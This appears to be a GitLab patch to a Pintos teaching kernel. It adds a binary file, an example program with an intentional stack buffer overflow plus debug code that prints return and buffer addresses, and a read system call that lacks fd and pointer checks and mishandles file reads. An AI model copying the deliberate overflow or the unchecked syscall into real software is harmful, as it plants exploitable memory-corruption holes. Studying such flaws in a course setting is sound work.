z-dHw+g#)C7an2Jq1_lXmzB2~9yibgQL4prtDn#X4F$M-{aGo#)>pTM*bQ7}$DR2V|
zT$;hc0U9u2oYM+ww}L~~jS=K8ril!);KJGsZ1Q(8SgjAy$TX2dS{Y=H2iP2LacDe%
zjA3O4Z5fbrn+X}ED`ID0kPZc@4FIdv6lY-Iik`{B;R9M##l<xf60%(SPzI!o7n=vt
zkpk9{Gn0h_)P852W5dC~APaV73fPtI;-IE8Xqi9?*qPDdFlRz^!kw80HYi^l<`f9O
z3Fd5&xvb2f{Q`1dXR>gpfflrLFfd4e068KbtamEN*&?%G&Yll-E!Pn!1LACXP!j`$
znFSO;tpN~bFa!-1G291@r$Jg3`s|Qa1#A(AG6!fn96WP?I&#Q-2Q<dU14^_kkf{h}
z&@dU3KsczC3K=Ft9adz93@d_?BokzqjTtmV#snTBV^w4at<uN=t!e;GJhJ66FiL?|
zsj#ImFiL@h+4Bq;7-b+V0|rJ}FsqP(Q4Y)~f-)F5@^Y#e7_~s|V*Cmknyg@8)B-EX
zV_-A{2{UjygY5DHnGW)15vct;ClWLzpU1!m7G5FFz`&gX<uFZT;BlM<$)BJZRo)~9
z#w?I#0SN{MUXZJ@LFVg#c?JxOIUt@lh?io(z?ci-#Y-?S@O3gUFeJ}n0nPC<Fy`|w
zVqjpXlVD)rpUJ?$Fj0bmK>#KxxSD~1VWk8EgCJ<B#U2R;1|iTH6X3NQpw`j+Su7l&
zZ56yJh763AAoI^lFfa%gGcZ<x{Kpu|Tgbpz4RRr~Bm;v8C^#3+V&MR<GN}U1N%KDf
zjZjH4FbKfJ1z$5TFj#_)_ky_d*DMweIZ)YAEedic*o`S54KN9?8!IHCZk#TO=0*n2
zL{J#__%JXq%$&`_5eYJD&LL<RgN3(ALc$o#0nH^af^_tOoPAG{fk7+-#O()hzk#^X
zAnpVZmrsg;LHzt|77kGKGDxU_B$k3w-KW`*Y|S|5FKA^&9s?s-m}w$7E}?7=ajrQm
z9H7`{V3h)Coer99U{nCjGUYKaP6xRdl;*$;1_^eMk~JXH`R1^2XoI~0DulT67#P9A
zP}8Ao4nC08vU6BCK+825*YS%nGcc%0F);A+GBYsPfn2Tyvz|f13uO3aP-S8{2j=u0
z%nS@5!@<H(!=Y>r@xVDyU$cgQw6=iao)MI-K-r}Q6gVKKgBc8x0w5*3K&FSzVc~$x
z3V}=p3qehWvN`xb)~3Lmy@ww(-X9Kf_6cSNhJ28-3t?6>Ffa--s`3eQGxJIF2{H<?
z35YW=FsU$bbK7w<b1*P4Lz$rUWO|Iud{*4n-0G5^!V27s!k{%V3=kntVFm^^6C@71
z2?H|+NHIu;gP(z$8^qvbWb_mUY2;F5@D$ePW?<k(7z#0xhZRX9uNnhL8=oGdy(GjU
zkli3>I!H`+k_4H=kFbadl<g3X0C5Fn84ZO&>La)#!7dhJWiS+G5@%o#=4J$mGcbsl
zfJ7u17(~GgaRvsl&L&0%K}JJi1_p7kJ6RbRB=i{UC2b`0_#n;zr5ya>hV0~aMoExe
za5uBC!b1w=NLGY>Y_O1GM}#{EQC5q=jYLEmsFTUU2nu>oOn^d*RfB<<PllU;fem3k
zJ3gm!fWp&L*hCWKP)<mgfehjTiGxf9#Sb^a13a)8<^_iwHv<D7Bo6se{VafNsV6v!
z;K3sZv4(*`2w@4xdSO`Lh#=AkNL&<287TTd$`}~LL6xfnvNb4iAW3?tg3M*+19_MQ
z5qhjpCI<rp8?t5San6qFfABaiC#u7_5W&a|vI}Gr4<z(>(Ot`jDv-yABSoSl3y`6B
zJs`};%*V|QidIk@v-85Uq6Iet0|zfWiGjFS@-oPLu%i)~8YRqmk>X7pRENUz87Or?
ziwjVU3ZMp-AW|L|XJ8QOY+_`D<WJ$QCPoG(iHS}U3=AS5>lqkCkz)ZZWr-mfBmqt$
zAm>VehIJ)T<3b9FE5X1ZjT+oI0vnnX_)v2oaul#4I}RmmkV;Qb2!P5@aAE5SF0D8a
zNrMyQO^~y>Knzd`idHi5pt==j(jdaMAR8bFhK;180n!I{B5LWw4J&<kG#HpUK*bQE
zfQOW;pyC};4<Mxo1_l8f2}%$tL4g`psL4hcHMSAy18f(oI<!!p2B}EIpk}c`LR=hb
z7L+T2BrCzdASueI4z7NrSiv=vG?How1_l|Z%^=MZ3=FbJTyX{lIcVAf$%->D$itE|
zD9<S%C1^!Rq)!GVZY7u^1_otV5vu|#VpWk-6<U&410`;CsEynZziA+GB^VeqA@+dk
zJ1w|L@Zf>gv)a%oU`0fc4#Lw647!K_VqnnYf)o|33=H~k6S-jl4mHsLsvYVmLy)6j
zHH{HBW2iU-gE6T34q^-yhgIJuu<F~Civd)zGccGzDhp89nL~paYM=$k43M}b$Yd*S
zYgSKTP@1y>RSeb$F;I51LCrG^47R8OgfbDRrG%W%kt+z~06>czHl!es04*zq1RK-?
zpt=`UD1thWASc5D2)(XgVBmpeI$n_fV6`qRtq8!<3VN0S844=!At?hr%RnO)>L8?w
zmVrSG?k{kXKq<_SGmiuV11R%=3NvVe2Nks-e?hrYpm<_nkcPShDk=lD8pH)<AtWv+
z3n5}%9yO*I7!(i!gv)7ck;cKmzzR+6NNrtET!CB-Zpea)XE=vLj}g+=MPv<5Wc?^X
z!v*ySG)TFTxDpHuJP3dBqNZj(P*wn$1j-7a73H8-t2k&m2(%q52y4Cyffx)7=uwHR
zACxOZL0O4`0aPV|;s)v-aYR{w(sn{ixRUV52Zs>IUEt;$0|P@TXv6@#wvmzXHy<wp
zBjhM+P`4bqsS30Ki-94(EVU>tC%;@T8MML_wjV14H2ucFz{&*La>0C(fsrGlv?9ge
zB$KM}NoIGBHOvAL9KL&)<C{3r`=2oz+c0x;G%<5d;9y{6^afiDnkK<-acW*kQKeoo
z$RZ3|L7NvOZJ9(F7#TrRO-u|~pd^IPA4q=E*Mse^Vqk!ojA;#2MmMiWFN1-JfguI7
z#Z4~*yz7sFl?k*3fcYQ;qircitnFHkSmCuQAjA==BK#T5TB{-q;()O#NNT?@hp>w9
zevtHMh#W{E6C(p7BWO1X6GI+xet<az;$-l~HxvglA$$dnrQ(v5#G-VFCv1{RGjmFG
zGxI=8vOojROrRyH%-oFj98umU_eL@CFfcOC21gL6_l-A#AR)@Yker`aoS&15C8i*|
z^1zNmb_6KdfR<S@-(+A+FXd3QWiE_pdD>j+%^Vuh?0ti|sHB-=?OtY?c|Og}%^dn=
z%#IUmpZYs^bBHmqFfcM^gPrGvJFqYUD6d2h7805H5GH0ofY#PA^D<VPydL#YXKnPU
zJ*D56SQ!`@O+h1W3@!MqgZL8`ACSOi1nu=qNl8tE*auPqb4GGWWkD)J80sQe`T}bN
zZM%c0z;q~RRTZ-y<K*iTnZGdWt!<v$!o0q|iJ6;2q1os9=g2ST7?@a?**H#oVqjun
zW9wYRq$$9_#KOeJF^`Qyn7M2XGq)ELDE%>4+3a8z@Zzv#U}9lm+ttM8UA%{ZiG`7^
z1f+Zy$do3w^h_p0@luYbr5vSY9QquSc5^)CSbKckZjPtSf=wI-5cO=4U_+P-Kzd?9
z#MK30nKf*Y9O+t%n5Wb<Ie4F8e#Pu%@6Dmae67ao=|-QY3+yvaGOu84;;`p<9t{F-
znoB2^HwSXaFvrYe*7Tao;oFiP(>%GwcAHD{=eZod&8H%xn>p6E*fRIlH8Fo<<e0$R
zRoBG)i;*LOxvj2=`5z<4gce)o|FuobEleB}nE%u^F?TR=L@@uTZDQ^LiF~PTVltBA
zh~`j?0wLij4q*cX@^0SC(aIDi$}BREL!Y@a;<K)8)Ms5=<LkP%2A_3p4X*3j8a>l;
zF!-$N#8F;W%28Jq%cLs8Jg>fq`8k8$e2zV#hRoCIBbeVa=w&QsQW9Y<k6`B1WA3Qe
zWB$jWm(k3mCdynDVZ!{UPLH{dQI8{%`D0xP^CU3qT3rP5e?|@==5_TGn9tQVeQj<A
z2cZ|3EC-PsV$7AhS~;A&nMETUyg5{uyI8!wZ7SpN&f=I44*Ggf&?kV1<J;OmIt+YL
znN$Q9f|%<-ks1jij<1^!Qt}x@%mqm;@Gwe^4Cg4`0pb{glz`REU3Y3hGjog=Gw&0Q
z`OK9z@yuLL448RObesgKo6g3ez{Xq!N@Oe?>Yya_7-S&Z6SfQv5hgYUM#g=hwe$?2
zb7XK7BcL1tPUx_l1J5l;c>z>dbWCF5kmL{pS<7~UjpJksh_#C2^jyE37a%5B5X@*|
z<2dCrac;Za+TuB;L8y`~r647LIZl7x;k%oe(`y5W%jU(#anc9GI>vFv))K^ED`5+O
z&`lt3u|)=c0jKj8Z;<Fpj<4ZayA$?if;hb#XBV1J-W#`mHz?FNtl3Vm#pIqW<*?p6
zF()#5cleGt6J#l7tF-4JZ6HfQ!OzH6!p8B<I~^wWD<i#}xzvVPkYk=TM@xq7>6Ug5
zQBcG&HgJ4R^~(mQ0<dHIIKC{<XYQ`|TFa4s3Z&hSLm2D?`KgzTncp%rwK6G*GV|(j
z7=k1b_Ia^!eBsddS-7^GnQz{Duv`fn2gEI4Iq#>ZZgL2hc{71(>I>kK)(l_Kmspfp
zl98KQl9>!G|4ULbVdWes>Oe#N%;y*wIU<>*z5JLr)^nU-KF^@X@q?p{c}KloWUF;_
znXMfd*)y9oF)yv>@M6Brz;S}3l(~w@laZP86Eoi@4sWniL3x3N4IGVZkhlS{SwP8|
ziH$=699yN#A|<vQ-u}!vPnbnNHT#3v-cOj#KJ5nA9y$4W=?Y*1wDUDRwInAqFO{LN
zG`}R3AtklABr^}Z51k=5F*A<=tPV_+<`rkA=cR%+(U&l!=B4B?xch}FI9pnx?MqhB
z%{4Ys(9JE*Pb<+)%gIkHQP9mTDa}i@O;62BEy_$*(9KOOO3tv&G_x>M&`np+^;gg>
zE=jRX&nvaGRM1V!%hxR~NlebxEhx$_Nlh-vFJdS!$}CA`fV&_$Be4i{jzDH!dUAe2
zB|}kaVhTfXMt)I=0$dHqZxA663#kbQ+ISACei-yK@^e%5Q&P+H3&4Bxb&E?%Q&RIv
z^oxs<^;0Vna|?1(iy7jJOA?Dp7{I3tB^IS8!}g_vnuhwY23lfKdKp80L24dDaz;vK
z5d-)vqIjqL{2Yeh$l!QiU&jE3lGL0WhQySVB8JSo(%hufBCu4DtD}pHXAnbXUS>&V
zVop5BbzlkC2v=u@`1rKayyW<JhP2F_RJasK4?}WMYGO$$SZTPUX9$E5<Qd}1kXxFU
zn^*uAa1L^H3~@zqaxwfk0kF$L{XlLjN(CRY0I~(F&o#m`grOk6I1{ujpP@W46BGcc
z$zZt<S05jST#ya9iJ(o6AY+1Def`5+8FI5ho(Bo|2e|ryReSn{`Z~D=f!V>XuHFpA
zsj1muo@X$~-yp>vjy@3gJNx(tyF!|o@db%_naK=!iMgo^V0+?A7>ZI$$`W%Jl1kIk
zprPmN0Wu@A7-TKz42aTVhUA?5Vo0#KdHT2pdq%l}ZS(a8sRShyklNhT;^M^gREGF?
zaBDC#FTN}>J}0xd1SO~-WpFYBC=S2@0TzgdpBaIqy`Z!NoG25E(u*0&G72DvX=Ehk
zrR1bCK#q1mF&fcgOf0R4XF#04k(N_hoB=l>9<)R>F(oA)Y&eLB2d(u+IJ=;<q?n;J
zGq0qeq$s`w%rZ8L2gO!FPGV+WY6{F&u+#OD8PbYCAzEBgl$Vp5#{des^vn_l_aOh!
z08qd}(jUk`Gn4od22hfVFJVY8$}cSdOEVNCrhuIg<r?G<w$38HgdxAQq@c7UKBcsP
zp{zI$;`#WD)SQCUB8KwJl#&dFy!?{*#Q3zF#B_$F#NyQW6b5Gx#~_Bh)bzxX%(7I5
zl+5(Zl41r>bcHYk_=E<-+zo0qf{wMw%qvMvPc4cE>4q2)!2q@>KBF`@F)tnzv!J6u
zARb6d1Qi>_48Z}8&aMm~Ym1?=5DztoA+b0)GZSJ`KG-9<i4|ZUr{^&gq!z`43q_D^
z@f8S9F=V7x#HW<z7C;;f4hc`c5MRd#hO)$*(o_Z?e?NB+X2>iCyN)5VI37}LG6eXC
z`ne#C0!M8@Vo`BwJmN?WhJcVD7f(005SVKr$4@{5m?7B1KPUv^?KEUvAgAY~=B1Zp
zFvQ1$?M-9w_4Er3W+*61P0j=z_5nIV1)Rr=ONt=JuYk^4$tYsTO{@T=gxu8J<lF*~
zD$qeJ#YM^SAW;wvDriA$@F5vs4(KQr#6cJg#U=R#pwm4dI!cNPl8Uk!@={YlNgvWf
z(ua6MFBz;1a@<Bd$f)Gvf;@)e?92iN*eMzyQSk9G5CdRl!rTTqPX?q5dYnu~VkNk;
z04prX&rZz)nNVB;DuW?144^6k98<+5Md0IR^5PSdiW%bLbMsSDGL0GH<4d8e;@tcc
zGZTiC%(5JY`1q8}GLSUX3n<lmX-a09nF&ZIR1wGoGZThFu*t;`*%UCR3EXx7t)VQP
zQ2;u_fdK?SqP^g@g~5Cf{R5<m0o36H$ufYpdVuzivM_)&fmonDjVuf$QwrvTSfFD*
zxELnZaDI^D`oJy&H+CE7av0DSABNI%dGkU0he1b0Ffs&!D9~{cEMN(+9SjT%AmwKv
z%4ZbJ2eClv7#V^<6jV8qqd^BbfR629WC(zn0Gj#*or{1ZB+JOa0NVYCB&5g4zyR7U
zk0j*E$iM(PK@&*`v=c8HH28ur9<=UX6C5-FAPRK)2s6V(0l0rb&ftW|gDB8&A|pdE
zhyrb3WMTNs7ywtR&%nSC3RW8oqQbzTKM{1o5y%t<(DD#aOfWG(?<@nY7-eK&0C|Uz
zApk_lfzDZAn8*P)60~0*bp8V)LonD31_lPuW*-Z%Edd}3<YGpKFc1Y=JB;cgkXleo
zGcp8$D3E$)hNAlUAO>jPAu~g9{d^Duw7P<sp}1~7hygMSEQ4ufAV?=jo{=FGM8T{K
zgu56dk_cLz!VoZ-C1^4Whz(lW%Es`S`749!d=MM7F_VoUY%)vuWR`A528L6NppCE)
zKFm&#Icngz3ItKJz`Ke+GX~BFvF1S}K$J6h^BhP5rW0g?7+Cql1@-emERX?=451*(
z6B5EL^&o~X*q8ti6$ldtF~EltFoc4rG>8%q1+ti#VPZ=?hyk*ig#ly%i1iPwDi}nu
zFflMNGZZt<2QlnHdj%0u2MP<&jYdoi2J=BQ$nDGw6DQQeoW6;XfdO>B1|vfdObE2;
zOBZz5216M`0fWqZ5F4~Fn2{k2MDc?*4Kqyq0m>#|Eg;{6JPNV{M1%ap$PnDe$iOfI
z;!2qFK`Ovn7#J8pE&*>WVF&<Ghr#X+1yN_g%m5H|1<VWuQCFd%j!66<6C%M1f<V+I
zFf$B9!PEx9(+Egy4p>1Thyq!|#4s@iM1$;MWC#RNAblWVm>bKO85o+t14Rb&LG&!J
z3BfR3$ld|1-~w&EVq^#aQ7<8Z!~%D~7tl&r(7JVo09F<T1~$;zbcTsMaCt5k1_sbB
z3s6=C(V*>5j0|BQsu-*-IGBrpA&d)jmtZi6N&z#&a=927iXcpwtC5Ui0U7lJtUnY)
zF|mS@N-4{H5F-S%@|z(PM8(0xK@9LR9fnX4CCLs|4`RrH*1#}?f+z!+IEY~i5eHFj
zFmVvW8zK&(Vj$ui^FfR_h&YJKhlsPx2QdmE;vlLCBF-@%#AtztgQ%$xahCZY#w>_9
zh&ljf27o9_4p0z<f+*0+LuQ6jmiZt?AVeHQrGe&)K;j@qHbfjmHNeC{j3$UUh?)u!
z=a>&-Ooxbrs5KCAmiZvYI*2%kItUTxm=9tchKPfx>kx64`5*>p&kG|%D2RFo69+M}
zIl=A+QM19!a1gZs%nSulH^9tr5Oo*K3<Xi*;4}~pqDsI_P<;SS5uojdA3$4B89p_G
zRwZ+>F))BGWMYHzHP{#!K&xkAd@nWz2GBZc7{8p2fuWuaR9r&zgBBFeMdEK~V_*O+
zbcU%1B}`DNgz>?S0Bsy$VPF8cgPCDsz<ih^z#Nzhz#N$MU=GY~Fb8Ham;<vF%z;@6
z<{;Y#%{m~e3Y-f9K~yc684RL!gPDOK>J*q6{EUTx0hCo38G=C+cmohaAc*n==a*m*
z1<EtvA{WE}?eb-02nJEf;CxifI3L6~0#Og5K>lWA2!r{Wks%D`XGVrFn2#A5!eIVo
zWC(-#mXRS0=2u3BFqlt~YG*Na1_n@`WM-JSqF$GsfdP~e!5q-iOi=Cvb0XOp7(iJL
z%*kPAU;yPaFsGiKfdQ1cz?@0!3=Gr3xoqN!`hDyS44^y(mbuB!zyQisU=A#hJvkT{
zKv{~JVd9SZL=FZ9P(A{4syP@KK$!>3nZUuo0Ln37&T<Y022eHubM|mBFo5y~m;+*5
z;$UFlU?^o^`>yj{bv}p($|7LtmmCZXX`G-EY2pre1;)$Cz#zg2N}kN1y+HFVIT;v2
z!TBNpM8!hXH^9{|=44>F0+tVkdEx<RFBCY_z}tW?xfmFJL4-imZ!WN{h~oM`7X!mo
z9tH*`hKU>?dJYc*13SY+4mMDQ3F5qkO2X_=<Yr({;sIstFc75+W(I?(FdmTOCo-_v
zOU(zdBfwH&AZj9#)Dj*BhKmp>5OodA3<gmTz|1fZ^%Ts6dkkc$4L8V@4)Z~D8aK!R
z;Vs+@41EwL$W)LSObib2stBeM<Tsd75F4R(BIq1Vu+PG|85pv`HW<tY(IEAV48b4@
zWCN&%1kpdhwgrPI(0NiIVGu0?aW04g1qvfW7%V^-8G_Nm0%SWQL-2kc1_qE%K}LXR
zG#`V4otYQp<B1F)T9p?RxR7=ph;0s)1JN!>a&Ei~4AEddqzwu79BBPCF9QQe9~%RB
zo7;SlK9D*_hCrAS5bXkKc!QS(gPM`xwk(JN>Ry1t4n%{_onvPxVo)e%P?`_ofSTtV
z48;sZ3^GPC^Fh37(CH^IB_M-A7<2}YHKh3sqHG{`F@WeCh%kr(*#K%hfM}3W91H~v
zMGQ*HjBtb5AR_R12AK;|&Bzc2q9B^eFf@Th;F=nt7Xg8+0xi~m0C53`0v$C05(d%W
zy(tU<APO|o3lav=pfhS183I6*Ja`^qA_It41UC}{Kon?eE?70l=L`%CAp1Z%nHVOr
zfM`fBEEq&VmBM>FAf=!V9w@v)H0VSOHc*~4l$j4=gO)gRfC6_S2b<D-5D(Nt<pimK
z!~lp3vIC(A!~^ZaV`K;iQ6L8*HIzZyb3tJMaxaJm1p*^O0EhyG0Z14`gY0Hx2mnza
z8xRo#;(<a47BL_;$VPUCi41H-3`+As9PrT(3;`et6l|bcgpq+k0(A5p12}5R8D!>z
zxS)XKh6^b(&IbuVTpR|XK*5F7GX*&w<RnnQf@qLqI2k6gfGk#KoDbrHtY?P`A-N?O
z<`y=FVuo@CrTHLtfm{IMgPaXwgDi)nZBP;f@jz|>sQ~GKMlSfUJkSNxpeO^;S&)PP
zqUyoSa1b>Yl2kZA^ir_LOC&%At&z-p5O*yjsKzK@P$-dLQ<@LDgYFQjq9cq93@0JR
z!7K(Ho&++Eks%mFfs6sUwg8-AKs=D4AlDW!AdEz)K$r+GYY`@fAxs2ypg{gdm<Seu
zJCXz3#R927m<Z~`gPnPUk%8eS*x7*~>K7yw7(g`myfubE5Tyw^U4vmF1Bea+9dUsu
znGgm9AsN7eFdzuY02Yt|wqOI`JwcFpIS}(XKy)Rzr&(A(AH=8zcM(e@*bHUngV-~n
z3PJQj&^e3@pePYwQvyc|NMtc+Cjmo=02@f8h(TsPNMIdUX%T}$2}~(S1axvFGecoL
zyxaku`2pH*#mEo<qCl1~F_aj9Xpqs23;`etWFUCB0mJ~A!^jW>qCmzWrTr8p28MEo
zS3wlW^^6R`APQtQBSR2~0_kI92nJCQ?Li=FJ6KyVh}r@6a0zI86F9y={8M1Di3}k6
zGFWK<hytB62r3RhG!M8F833aAz<tY!3?Nz<A`CW(fq~%&69f1#E=GnRP^TND5tLIw
z^mnkiK_H49tSJygfy`iJ2m(<O5K)*>AZ`HECJ-G8mJS0^(NJM5N?8y}!;zH2OIu}T
z1_sdihoFiWM1zzwG6aJtkaCbP%v6vq8Bm)*^c=7Q;5la=GXujGs5FQM9ZQ5%%C3M*
z8_Wku9|h|U08yZG%8)Gr>0|*N&B8E|0Yr0xoAhBIiXSQra}$zM7KGApB&BelUT0=t
zcno%*!F&)6QqIT_45C2FksScCr4(uth&~N=Kro2<3}%LdsK4OOe|i0U5Q7!mOMs7(
z^0G28sDTa=VwlJQq7A`4in99oAVv^W0z`+hGB9v~YO?|cr7{Mk`5=A-D+2>3xR#dz
z34yqv!-tTS!Tc}B%D@l^wmJYrflLG?P!OF27KRrBpmQY3AVSkw85lrUyCY?#<*W=0
zpdJoLGt6v|*m;Ok;emLPm4N|tkOw0}5a_HD5zvl1#E=tc^CEb|Gh(>-7Ape-=u|3D
z@PcTNE=Go6kVY}EW_bFMV`E?dojV9}0*D6nr;ySQk~9lK8s2<U106a7+V0O_Fy91f
z5+g$ZNTml<80IgK!CS#%h#^+cnI+(Dq71<x3ba)dDRd69F)*9}yEX_!fp^~`ya-YZ
z>Xv~V4zmL!=EDwdz{0~Wkez{H9(aTU-l<PuXJ7ywD1y`vEMsS2m<(10uR%bDf_9#<
zK}SYGY|y!5u#r&^8*~yEOdiAz0*{PBMovNOBrqS+Dh9DZJN#h!LFR+76axbT$Sf{~
zdEn9zyq6Uu!N9-(vJ<p#ijg4zM1hnsF-#1B%7UdKVxSf=L=>b2G}H?nWQIs1MzBE*
zU(iA~Mh3V?VL~vEK+ItPw~--A;mH}M6e*TK-fjoCV}n3c7nm6UqK<-@K_Chg7L16v
z;{=_y2o9Q{$t;1B;c<m#7U+&AEH;4>HOQ)da9iGCK8S`Wg~u@HlxfiEpG*vh-WEs<
zbWk@VLlB69O2@!_3zEJHc5wiRf=a{tYM_|w1v?oMn;<sm06p~B1RYGc97!F_c+mL_
z5b?mtEWrpbgAS_z-PDa9_}@TgfEx*r{uj&~m^eE_@MM;WEC_=@tq)%;8erlW8bIe&
zfrdq4qarXHU_)N8@fO%%3n&AFhPGhCEU+;a*Z>Q<IT@S`4E>x83{yB67^Z<HW1tqy
z<z!$u4;@Fih9rKAlYxPci-AFyi-AFu3#yobfkBEJGFkxY!-6`jFd0}671XQDK{_QK
zRQ9p4F)(nmF))D2Jy@X!(}$G?E!hQ0FoT-y3=9mQbE6@A(8-nz3<XO-hbDo>F+fKp
zFfc?w&*^6d--yA$06NA6qMj8*F@TO91TmNyKxa#VSP;z206JX<!UmDd4B$KuVuCR<
z15${9y3nBGalkSVf|&tyoGXM4BAFR@KolG^Ga!WoSU(@sM-U|}3?Kg^>j3dV<C+jz
z(4^$Y|DX~CbZ9roCyWeC44{4Vpzwh4LEBW3)jPpB;EBVJ|3Mp9L2Fq-Gj2=_kjeyh
z94Ls7u0NWA0UTbSf{&4b4ZLm{W+cdcpczKc0#DHF7)U>8dJ%T~9f%J)eI0g29f&`d
zfq?;bG#ZEx+QbYxK?{_oK>h(8+7CJ`2fQ(sfr$aMS{gL^1>=KeNkM1l!1(7F7#KiD
z=fL=&;sF%jpxr5q46F>GJ<Q1N1?^x4oje1IX^?%O@B<y)0*Yx6|0e?j1L)iom^?cp
z0|V$x6Br+K$~ov%5g1>Yk%0kp3J8pE$jHC|I&}h+Qb6W`j<5xt>Hw1m&5wZ&WPtHO
zQ>dWR24MDsZu<jm<A?D<XG<fyzlD*30klR9ROEre4>aWm+d2*6gNnE_(34n&7#JBq
z6I8Gr&mjI{(A*sKj5ZK|4I={s?8preAJm_N9R~;EZv}NYp~vTd_@JH_?072>A9P+l
z>}Y5ZAJp3eEq??JS%CPUVi<P1D~NxAk%0kpk~wII2E+&56#zS+3&elO$iM(Po*6V*
z3*x_IWMBXtlnlxjApS>21_szhWf1>2=-vY8A<ZB@BNGFII`kx15TA>QfdO>tHRybA
z5TBokfdRIS8pM}mg4{3x3S$9=kN<U;7#LuO#DU~N$Iipfs{rxsm>3w;peLw+_-;%L
z44@_HpjsWo2X!n#hmOPCAHl@H06IDy=6*dU28J}~>9HX7iA)R(pwqEo;gQb7zyLZa
z9Ht)BIR%|*591dyF)+Z6%>n7J0G;v(J+~XgXJTStfE_Oj;;S+-Fn~56fbs)~Ukh?C
z^vDkozlDi`0dxR6%)OmV3=FVCH9+zcnHU&g=Zt~)vycwI2k}9DQ`i|sApQy_1_s#S
zC?NiNX!wHGK!EsLm>3v9E7w7DtROz9HwZf(1H?bW#J~VMWgWx^9mO3AJ)j80zrn=7
zumE}j4v7DNiGcyMwE=Xy0f_&UiGcxj{Q!vn3UpTjbWc8r|Cxz_0d`~!i2sX;fdO``
z3W(3h%)kITC?6KyY@q2*=-FW)dC&;}uycbze06392GHT;u=vwuW?+Dw*A9|526eHJ
z+>5+D1-2d$vB(d$f>6)U)C{!L1+<neJ|4ugge<hvOGeth09kzoUvQRM0bNC=XJ}?<
z!~k21g|Ws9Y5f;uts8um6_g8E{{vsnsAp(yW)4|<l>(t6AXGkts$hUF;L<a+G&TS&
z=z&}Tgyb1h3nbG_El|8>iOe%IFhNpjW{4t(5+r8kX2>cnkoB3Pm||{d%z$k@5Om=W
zY%w5w2@!lz7JTtlZfY)gH5PQOCTR6lK_vrtH6L^>COnYAt6Nhti{Q&f5$lye%lC@l
ziv=NzGUMY*p=*-j<002&L6*gVSFs}28NyZo!q!BA*9SruT|!pdf);~<*8f45w1Stf
zf(&E;IX0sRvMRK=qzJUu3bgtT6iqpxrD5<ja?mBJAoY-?WuW`Nz^jTOwjmZ$g6|3g
z-5Ca2912>PmRkTa4!k@Jyp|Tc{1(1q3uG&3;aEu#Xki+7-7R?48`iaeAmc#m+`wy7
zA*(}+p^MZQ^olEUOA?b9^gs~<rZZrylGKV42EC&El*E!m7!6WpsAq!8HDu6(s7Wd=
zX3$H{&jnrY#h?fAVq#HZUV3UVj0?Kv3&u`NN-9b%gYm%24WXJqAqr*Y<R`;aKurQw
zD@0*waPI~*r30ytrZ6xtd;keTb%WYpASU>Pb#UK`0o)F5kzrtX4Qfn)B*ASw2m`bL
z3#12hGAXEiT%f|h@B$(QCPCdgkUVG&5{L$=1GSqYR2dkqf&{>-K$B_^465Hi!k`v5
zsC{Li&cFbwQ=rPAEo}w{U(jLQ;I=KK-RPkX(GODxG6Td0^;$t}(5(d^K1dztS|Sh|
zgh6s33~GOZXpk5P*Q$d~xdpKx7$yhaPX`eKlXEo~7%qak<zODd4WMg)V0u7Od43EG
z0iePj#DT^EhzZ_51!6$)z9<HU@1RB*ln*llG}!=R!~C%|nSmh>DLz1QAPm~02BM+b
z8I-db7&<_s3s3==+%hCLfTUKpGBAK=EI=G2IZ%BAiVLVP!~O{j4B%@8paL-SKs2P6
m1d&+M#=rm?&H?E+fu<Kw+ZoheMK-Ucmw~|=NdROH$OHi5=NyLs

literal 0
HcmV?d00001

diff --git a/src/examples/overflow_jordon.c b/src/examples/overflow_jordon.c
new file mode 100644
index 0000000..786fd3c
--- /dev/null
+++ b/src/examples/overflow_jordon.c
@@ -0,0 +1,72 @@
+#include <syscall.h>
+#include <stdio.h>
+#include <string.h>
+
+static void stringcopy(char* dst, const char* src)
+{
+    while (*src)
+        *dst++ = *src++;
+    *dst = '\0';
+}
+
+static int getline(char* destination)
+{
+    char line[200];
+    int i = 0;
+    char* dst = destination;
+
+//#define DEBUG_CODE
+#ifdef DEBUG_CODE
+    int r, c;
+    unsigned* ret = (unsigned*)(&dst - 1);
+
+    printf("Return address address: 0x%08x\n", (unsigned)&ret);
+    printf("Return address content: 0x%08x\n", *ret);
+    printf("Main function address : 0x%08x\n", (unsigned)main);
+    printf("Line buffer address   : 0x%08x\n", (unsigned)line);
+#endif
+
+    do /* !!! Buffer overflow when i >= 200 !!! */
+    {
+        if (read(STDIN_FILENO, &line[i], 1) != 1)
+        break;
+    } while (line[i++] != '\n');
+
+    line[i - 1] = '\0';
+
+#ifdef DEBUG_CODE
+    for (r = 0; r < 16; ++r)
+    {
+        printf("0x%08x: ", (unsigned)&line[16 * r]);
+        for (c = 0; c < 16; ++c)
+        {
+        int code = line[16 * r + c] & 0xff;
+        printf("\\x%02x", code);
+        }
+        printf("\n");
+    }
+
+    printf("Return address content: 0x%08x\n", *ret);
+#endif
+
+    stringcopy(dst, line);
+
+    return (strlen(line) > 1);
+}
+
+int main(void)
+{
+    char msg[2000];
+    char quote = '"';
+    char endl = '\n';
+
+    while (getline(msg))
+    {
+        write(STDOUT_FILENO, &quote, 1);
+        write(STDOUT_FILENO, msg, strlen(msg));
+        write(STDOUT_FILENO, &quote, 1);
+        write(STDOUT_FILENO, &endl, 1);
+    }
+
+    return 0;
+}
diff --git a/src/userprog/syscall.c b/src/userprog/syscall.c
index 664bfc0..66f25b7 100644
--- a/src/userprog/syscall.c
+++ b/src/userprog/syscall.c
@@ -17,6 +17,7 @@ bool syscall_remove(const char*);
 int syscall_open(const char *file);
 void syscall_close(int fd);
 tid_t syscall_exec(const char* cmd_line);
+int syscall_read(int fd, void *buffer, unsigned size);
 
 void
 syscall_init (void) 
@@ -72,6 +73,12 @@ syscall_handler (struct intr_frame *f)
       f->eax = syscall_exec(*(ptr+1));
       break;
 
+    case SYS_READ:
+      printf("Running SYS_READ\n");
+      int ret_read = syscall_read(*(ptr+1), (void *)*(ptr+2), (unsigned)*(ptr+3));
+      f -> eax = ret_read;
+      break; 
+
     default:
       printf("Unknown Syscall number\n");
       break;
@@ -151,4 +158,28 @@ void syscall_close(int fd)
   printf("%s: close(%d)\n", cur->name, fd);
   file_close(f);
   printf("Close system call\n");
+}
+
+/* Reads the contents of a file */
+int syscall_read(int fd, void *buffer, unsigned size)
+{
+  ASSERT(buffer != NULL);
+  ASSERT(size>0);
+  if (fd == STDIN_FILENO)
+  {
+    for (unsigned int i=0; i<size; i++)
+    {
+      ((char*)buffer)[i] = input_getc();
+    }
+    return size;
+  }
+  else
+  {
+    struct file *f = thread_current()->fd_table[fd];
+    if (f==NULL)
+      return -1;
+    int bytes = file_read(f, buffer, size);
+    printf("Read Sys Call\n");
+  }
+  return -1;
 }
\ No newline at end of file
-- 
GitLab